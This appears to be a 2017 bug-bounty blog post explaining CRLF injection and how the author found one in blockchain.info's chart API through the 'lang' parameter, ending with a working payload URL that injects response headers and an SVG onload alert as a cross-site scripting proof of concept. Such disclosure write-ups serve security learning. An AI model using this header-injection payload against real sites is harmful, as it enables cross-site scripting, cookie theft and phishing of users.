Sunday, 5 November 2017

CRLF injection in blockchain.info

This bug was reported by me to "Blockchain.info" for their bugbounty program.

For those who don't know about blockchain.info

"Blockchain.info is one of the world's most popular Bitcoin wallet and provides detailed information and charts on all Bitcoin transactions and blocks"

Understanding CRLF injection 

CRLF is CR(Carriage Return) and LF (Lined Feed or New Line) which is a non-prinatble ASCII character CR (ASCII value 13 also \r) and LF (ASCII value 10 also \n)




Now lets understand how CRLF is used in HTTP requests

When ever we click on a website or just open a website or do anything a request is generated from your browser and a response is sent back from the server to you which in turn displays us the website.

For example when we request blog.shashank.co in our browser. An HTTP request is sent
http://blog.shashank.co/
GET / HTTP/1.1
Host: blog.shashank.co
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

And a response is sent from the server

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Expires: Tue, 31 Oct 2017 14:28:13 GMT
Date: Tue, 31 Oct 2017 14:28:13 GMT
Cache-Control: private, max-age=0
Last-Modified: Tue, 31 Oct 2017 14:26:43 GMT
ETag: W/"bf427f6283ea846b52644bb883f50252d472a65378d019392f78d16d43fe2f17"
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 13871
Server: GSE
<HERE IS THE WEBSITE BODY> 

For people who are unaware how I dumped these headers you can simply download "LiveHTTPHeader" plugin for Firefox browser . Or simply open inspect element in your browser and click on the "network tabs" to view how all the requests are being sent while you are browsing though any website.



Now every line in an HTTP header is separated by a CRLF (as said it is non printable ASCII character).  So its something like this


GET / HTTP/1.1 [CRLF]
Host: blog.shashank.co [CRLF]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0 [CRLF]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 [CRLF]
Accept-Language: en-US,en;q=0.5 [CRLF]
Accept-Encoding: gzip, deflate [CRLF]
Connection: keep-alive [CRLF]
Upgrade-Insecure-Requests: 1 [CRLF]

HTTP/1.1 200 OK [CRLF]
Content-Type: text/html; charset=UTF-8 [CRLF]
Expires: Tue, 31 Oct 2017 14:28:13 GMT [CRLF]
Date: Tue, 31 Oct 2017 14:28:13 GMT [CRLF]
Cache-Control: private, max-age=0 [CRLF]
Last-Modified: Tue, 31 Oct 2017 14:26:43 GMT [CRLF]
ETag: W/"bf427f6283ea846b52644bb883f50252d472a65378d019392f78d16d43fe2f17"
Content-Encoding: gzip [CRLF]
X-Content-Type-Options: nosniff [CRLF]
X-XSS-Protection: 1; mode=block [CRLF]
Content-Length: 13871 [CRLF]
Server: GSE [CRLF] [CRLF]

<HERE IS THE BODY>

The bug 

 While I was going through the website I found a place where I can download charts data in json and csv format.

https://api2.blockchain.info/charts/total-bitcoins?cors=true&format=csv&lang=en

The last parameter "lang=en" . I thought of playing with it and changed it to "lang=english"

I noticed that the response header had a difference

GET /charts/total-bitcoins?cors=true&format=csv&lang=english HTTP/1.1
Host: api.blockchain.info
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/2.0 200 OK
date: Tue, 31 Oct 2017 15:47:21 GMT
content-type: text/csv; charset=ascii
content-length: 10953
access-control-allow-origin: *
cache-control: public, max-age=60
content-disposition: attachment; filename="total-bitcoins.csv"
content-language: english
<removed>

Ok so , the "lang" parameter is being reflected in the "content-language" header . Now the next step was to check for "CRLF" injection if we can add a CRLF and create our own response headers.

Now in order to inject a CRLF we have to URL encode it. So the URL encode of \r\n is  "%0D%0A"

Upon sending a request

https://api2.blockchain.info/charts/total-bitcoins?cors=true&format=csv&lang=en%0ATEST
A new header was found in the response as TEST

So there is a CRLF injection!! . Now since a request also contain response body we can even execute javascript code (cross site scripting) to steal cookies or frame a phishing page


So the final payload

https://api2.blockchain.info/charts/total-bitcoins?cors=true&format=csv&lang=en%0AX-XSS-Protection:0%0AContent-Type:text/html%0AContent-Length:35%0A%0A%3Csvg%20onload%3Dalert%28document.domain%29%3E&__cf_waf_tk__=012853002E6loVIOSyqHfdxrvHJ87MshEnZI


Or  a phishing page







Reward 1600$



1 comment:

Rishi said...

How u found the place mr.shashank? where you noticed this bug.